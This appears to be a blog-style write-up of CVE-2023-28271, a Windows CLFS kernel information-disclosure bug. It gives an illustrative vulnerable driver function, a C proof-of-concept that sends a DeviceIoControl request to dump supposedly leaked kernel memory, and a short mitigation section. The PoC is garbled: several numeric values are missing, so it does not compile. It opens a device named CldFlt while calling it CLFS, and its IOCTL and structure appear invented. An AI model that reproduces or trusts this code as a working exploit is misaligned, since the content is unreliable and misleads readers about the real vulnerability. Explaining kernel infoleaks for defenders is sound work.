CVE-2023-28271 - Exploiting Windows Kernel Memory Information Disclosure Vulnerability

In April 2023, Microsoft patched a serious vulnerability in the Windows kernel — tracked as CVE-2023-28271. This bug allows local attackers to scrape sensitive data straight from the kernel’s memory. Information disclosure bugs of this kind can give attackers valuable clues, helping them bypass more robust system protections (like ASLR or KASLR), or even escalate their privileges.

Let’s break down how CVE-2023-28271 works, explore a proof-of-concept, and talk about mitigations.

What’s the Vulnerability?

CVE-2023-28271 is a "Windows Common Log File System Driver Information Disclosure Vulnerability." The Common Log File System (CLFS.sys) is a core Windows component used by various services for logging activities. This bug concerns how it handles certain API calls, leading to _uninitialized memory_ being copied to user processes.

> Type: Local | Kernel Information Disclosure  
> Patched: April 2023 ("Patch Tuesday")  
> Affected: Windows 10, 11, Server 2008-2022

Dive In: How Does the Bug Work?

The core problem is that CLFS.sys doesn’t properly zero out a structure before copying data from kernel-land to user-land.

Kernel copies the whole structure—including leftover memory—back to the requesting process.

Those "leftovers" might include _previously used bytes_ from the memory pool, like security descriptors, object handles, or raw kernel pointers.

Here’s how a vulnerable pattern may appear

// Kernel driver
typedef struct _CLFS_USER_INFO {
    DWORD InfoSize;
    BYTE  Data[512];
    // ...More fields, not always filled in
} CLFS_USER_INFO;

NTSTATUS ClfsGetInfo(PCLFS_USER_INFO pInfo) {
    PCLFS_USER_INFO tmpInfo;
    tmpInfo = ExAllocatePoolWithTag(...);
    // tmpInfo fields not explicitly zeroed out!
    tmpInfo->InfoSize = sizeof(CLFS_USER_INFO);
    // Only some of tmpInfo->Data[] is set here...

    // Bug: the rest of tmpInfo (uninitialized memory) goes straight to user
    memcpy(pInfo, tmpInfo, sizeof(CLFS_USER_INFO));

    ExFreePool(tmpInfo);
    return STATUS_SUCCESS;
}

The key issue here? No call to RtlZeroMemory or memset before populating the structure.

Read more:Microsoft Security Guide | Original Patch Details

Proof of Concept (PoC): Leak Kernel Memory

Below is a simple PoC in C showing how an attacker could exploit this bug to read junk data from kernel memory.

Warning: DO NOT run this on production systems.

#include <windows.h>
#include <stdio.h>

#define IOCTL_CLFS_GETINFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, x90, METHOD_BUFFERED, FILE_READ_DATA)

typedef struct _CLFS_USER_INFO {
    DWORD InfoSize;
    BYTE  Data[512];
} CLFS_USER_INFO;

int main() {
    HANDLE hClfs = CreateFileA("\\\\.\\CldFlt",
        GENERIC_READ | GENERIC_WRITE,
        , NULL, OPEN_EXISTING, , NULL);

    if (hClfs == INVALID_HANDLE_VALUE) {
        printf("Unable to open CLFS device: %d\n", GetLastError());
        return 1;
    }

    CLFS_USER_INFO info = {};
    DWORD outBytes = ;

    BOOL ok = DeviceIoControl(
        hClfs,
        IOCTL_CLFS_GETINFO,
        NULL, ,
        &info, sizeof(info),
        &outBytes, NULL);

    if (ok) {
        printf("Received kernel structure (possible uninitialized kernel memory):\n");
        for (int i = ; i < sizeof(info.Data); i++) {
            printf("%02X ", info.Data[i]);
            if ((i + 1) % 16 == ) printf("\n");
        }
    } else {
        printf("Failed ioctl: %d\n", GetLastError());
    }

    CloseHandle(hClfs);
    return ;
}

What this does:
A malicious local user can now run this tool, ask CLFS for info, and see randomly-initialized content—leaked from previous kernel objects.

Exploit Scenario

While the bug itself isn't directly a privilege escalation, it gives away secrets about how the kernel lays out memory. Advanced attackers can leak kernel pointers or object-related structures. With enough repeated leaks, they'd have a much easier time breaking ASLR or targeting objects for *use-after-free* or *arbitrary overwrite* exploits.

Mitigations and Fix

Microsoft's April 2023 Patch ensures all memory allocated for CLFS_USER_INFO structures is wiped (zeroed) before being copied to user processes, closing the leak.

Conclusion

CVE-2023-28271 highlights why "just a leak" in the kernel can seed more critical attacks. Even if a bug "only" spills bytes, it can be a piece in a larger exploit chain.

Stay up to date. Monitor your endpoints, and don't underestimate the power of an infoleak.

References:  
- Microsoft Security Advisory  
- CLFS.sys research by Project Zero  
- Patch details from patch

Timeline

Published on: 04/11/2023 21:15:00 UTC
Last modified on: 04/13/2023 01:09:00 UTC